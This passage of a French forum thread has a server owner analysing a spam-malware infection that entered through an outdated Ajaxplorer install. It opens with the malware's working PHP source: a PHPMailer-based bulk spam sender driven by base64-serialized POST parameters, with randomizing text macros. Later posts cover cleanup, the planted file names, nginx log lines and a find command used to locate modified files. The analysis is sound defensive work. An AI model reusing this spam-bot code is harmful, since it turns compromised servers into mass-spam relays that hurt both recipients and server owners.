$this->DKIM_BodyC($body); $DKIMlen = strlen($body) ; // Length of body $DKIMb64 = base64_encode(pack("H*", sha1($body))) ; // Base64 of packed binary SHA-1 hash of body $ident = ($this->DKIM_identity == '')? '' : " i=" . $this->DKIM_identity . ";"; $dkimhdrs = "DKIM-Signature: v=1; a=" . $DKIMsignatureType . "; q=" . $DKIMquery . "; l=" . $DKIMlen . "; s=" . $this->DKIM_selector . ";\r\n". "\tt=" . $DKIMtime . "; c=" . $DKIMcanonicalization . ";\r\n". "\th=From:To:Subject;\r\n". "\td=" . $this->DKIM_domain . ";" . $ident . "\r\n". "\tz=$from\r\n". "\t|$to\r\n". "\t|$subject;\r\n". "\tbh=" . $DKIMb64 . ";\r\n". "\tb="; $toSign = $this->DKIM_HeaderC($from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs); $signed = $this->DKIM_Sign($toSign); return $dkimhdrs.$signed."\r\n"; } protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from = null) { if (!empty($this->action_function) && is_callable($this->action_function)) { $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from); call_user_func_array($this->action_function, $params); } } } class phpmailerException extends Exception { public function errorMessage() { $errorMsg = '' . $this->getMessage() . " \n"; return $errorMsg; } } // macroces ///////////////////////////////////////////////////////// function alter_macros($content) { preg_match_all('#{(.*)}#Ui', $content, $matches); for($i = 0; $i < count($matches[1]); $i++) { $ns = explode("|", $matches[1][$i]); $c2 = count($ns); $rand = rand(0, ($c2 - 1)); $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content); } return $content; } function text_macros($content) { preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches); for($i = 0; $i < count($matches[0]); $i++) { $min = $matches[1][$i]; $max = $matches[2][$i]; $rand = rand($min, $max); $word = generate_word($rand); $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1); } preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches); for($i = 0; $i < count($matches[0]); $i++) { $count = $matches[1][$i]; $word = generate_word($count); $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1); } return $content; } function xnum_macros($content) { preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches); for($i = 0; $i < count($matches[0]); $i++) { $num = $matches[1][$i]; $min = pow(10, $num - 1); $max = pow(10, $num) - 1; $rand = rand($min, $max); $content = str_replace($matches[0][$i], $rand, $content); } return $content; } function num_macros($content) { preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches); for($i = 0; $i < count($matches[0]); $i++) { $min = $matches[1][$i]; $max = $matches[2][$i]; $rand = rand($min, $max); $content = str_replace($matches[0][$i], $rand, $content); } return $content; } function generate_word($length) { $chars = 'abcdefghijklmnopqrstuvyxz'; $numChars = strlen($chars); $string = ''; for($i = 0; $i < $length; $i++) { $string .= substr($chars, rand(1, $numChars) - 1, 1); } return $string; } function pass_macros($content, $passes) { $pass = array_pop($passes); return str_replace("[PASS]", $pass, $content); } function fteil_macros($content, $fteil) { return str_replace("[FTEIL]", $fteil, $content); } ///////////////////////////////////////////////////////////////// function sendSmtpMail( $host, $port, $login, $pass, $from, $name, $to, $subject, $body ) { try { $mail = new PHPMailer(true); $mail->IsSMTP(); $mail->Host = $host; $mail->Port = $port; if ($port == 587) { $mail->SMTPSecure = 'tls'; } elseif($port == 465) { $mail->SMTPSecure = 'ssl'; } $mail->SMTPAuth = true; $mail->Username = $login; $mail->Password = $pass; $mail->SetFrom($from, $name); $mail->AddReplyTo($from, $name); $mail->AddAddress($to); $mail->Subject = $subject; $mail->MsgHTML($body); if (!$mail->send()) { return $mail->ErrorInfo; } else { return 0; } } catch (Exception $e) { return $mail->ErrorInfo; } } if (isset($_POST["ping"])) { echo $_POST["ping"]; exit(); } if (!isset($_POST["emails"]) or !isset($_POST["themes"]) or !isset($_POST["messages"]) or !isset($_POST["froms"]) or !isset($_POST["acc"])) { exit(); } $emails = @unserialize(base64_decode($_POST["emails"])); $themes = @unserialize(base64_decode($_POST["themes"])); $message = @unserialize(base64_decode($_POST["messages"])); $froms = @unserialize(base64_decode($_POST["froms"])); $acc = @unserialize(base64_decode($_POST["acc"])); $good = 0; $bad = 0; $last_error = 0; foreach ($emails as $uid=>$email) { $theme = $themes[array_rand($themes)]; $theme = alter_macros($theme); $theme = num_macros($theme); $theme = text_macros($theme); $theme = xnum_macros($theme); $message = alter_macros($message); $message = num_macros($message); $message = text_macros($message); $message = xnum_macros($message); $message = fteil_macros($message, $uid); $from = $froms[array_rand($froms)]; $from = alter_macros($from); $from = num_macros($from); $from = text_macros($from); $from = xnum_macros($from); $last_error = sendSmtpMail( $acc[0], $acc[1], $acc[2], $acc[3], $acc[4], $from, $email, $theme, $message); if ($last_error === 0) { $good++; } else { $bad++; $good = count($emails) - $bad; break; } } $res["result"]["error_text"] = $last_error === FALSE ? 0 : $last_error; $res["result"]["good"] = $good; $res["result"]["bad"] = $bad; $res["result"]["check"] = 1; echo base64_encode(serialize($res)); exit(); Lien vers le commentaire Partager sur d’autres sites More sharing options...
Dixours Posté(e) le 2 mai 2015 Partager Posté(e) le 2 mai 2015 Ce que je voulais dire Big Boss, c'est qu'ils scannent vraiment des IP au hasard jusqu'à tomber sur un serveur faillible ? Et paf, ça tombe sur toi ? Ca a l'air vachement élaboré comme truc en plus dis donc Lien vers le commentaire Partager sur d’autres sites More sharing options...
Ldfa Posté(e) le 2 mai 2015 Auteur Partager Posté(e) le 2 mai 2015 Oui, les logs de tous mes serveurs virtuels sont remplis de scans de vulnérabilités. C'est pour ça qu'il faut toujours mettre à jour tous les programmes qui sont installés, ce que je n'avais pas fait avec Ajaxplorer par exemple... Lien vers le commentaire Partager sur d’autres sites More sharing options...
Ldfa Posté(e) le 3 mai 2015 Auteur Partager Posté(e) le 3 mai 2015 Encore un petit article concernant le Malware dont j'ai eu la visite : http://arstechnica.com/security/2015/04/30/spam-blasting-malware-infects-thousands-of-linux-and-freebsd-servers/ Et un petit mot pour vous dire qu'il n'est pas revenu, Ajaxplorer semble bien être la porte d'entrée qu'il a utilisé. Lien vers le commentaire Partager sur d’autres sites More sharing options...
Oliver Posté(e) le 3 mai 2015 Partager Posté(e) le 3 mai 2015 C'est un Ajax salissant ! Lien vers le commentaire Partager sur d’autres sites More sharing options...
Ldfa Posté(e) le 3 mai 2015 Auteur Partager Posté(e) le 3 mai 2015 C'est un Ajax salissant ! Effectivement. Lien vers le commentaire Partager sur d’autres sites More sharing options...
Ldfa Posté(e) le 4 mai 2015 Auteur Partager Posté(e) le 4 mai 2015 Bon, je pense avoir fait le tour du serveur et j'ai supprimé tous les fichiers infectés : .code.php, .menu16.php, ini.php ou encore .test.php qui étaient disséminées dans plusieurs dossiers accessibles en écriture. Il y avait également tout un dossier contenant énormément de fichiers dans /ajaxplorer/plugins/editor.zoho/agent/files/, notamment les fichiers license.php, systemscash.php, afw.php ou afm.php qui permettaient de faire du SPAM à grande échelle. J'ai utilisé la commande suivante pour lister tous les fichiers .php du dossier /var/www modifiés depuis 7 jours, c'est beaucoup plus facile. find . -mtime -7 -iname "*.php" J'ai retrouvé dans les fichiers de log de Nginx les commandes POST correspondantes : 92.63.110.196 - - [27/Apr/2015:22:38:13 +0200] "POST /ajaxplorer/plugins/editor.zoho/agent/files/license.php HTTP/1.1" 200 379 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0" 197.159.189.172 - - [28/Apr/2015:11:08:05 +0200] "POST /ajaxplorer/plugins/editor.zoho/agent/files/systemscash.php HTTP/1.1" 200 11390 "" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)" 5.135.81.18 - - [28/Apr/2015:12:11:58 +0200] "POST /ajaxplorer/plugins/editor.zoho/agent/files/afw.php HTTP/1.1" 200 15 "-" "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)" 5.135.81.18 - - [28/Apr/2015:12:22:58 +0200] "POST /ajaxplorer/plugins/editor.zoho/agent/files/skdsnffx/afm.php HTTP/1.1" 504 584 "-" "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)" J'ai supprimé Ajaxplorer qui ne m'était d'aucune utilité et je n'ai pas constaté depuis d'activité suspecte. Lien vers le commentaire Partager sur d’autres sites More sharing options...
Ldfa Posté(e) le 4 mai 2015 Auteur Partager Posté(e) le 4 mai 2015 Les différents fichiers .php sont détectés par VirusTotal ainsi : Sinon, les autres fichiers ne sont pas tous détectés comme des programmes malveillants : Lien vers le commentaire Partager sur d’autres sites More sharing options...
Ldfa Posté(e) le 4 mai 2015 Auteur Partager Posté(e) le 4 mai 2015 Ce matin, hasard du calendrier, je suis tombé sur cet article qui m'a bien aidé pour la suite de mon analyse : http://linuxfr.org/news/remonter-une-attaque-et-trouver-la-faille-avec-les-logs-d-apache2 Lien vers le commentaire Partager sur d’autres sites More sharing options...
Messages recommandés
Archivé
Ce sujet est désormais archivé et ne peut plus recevoir de nouvelles réponses.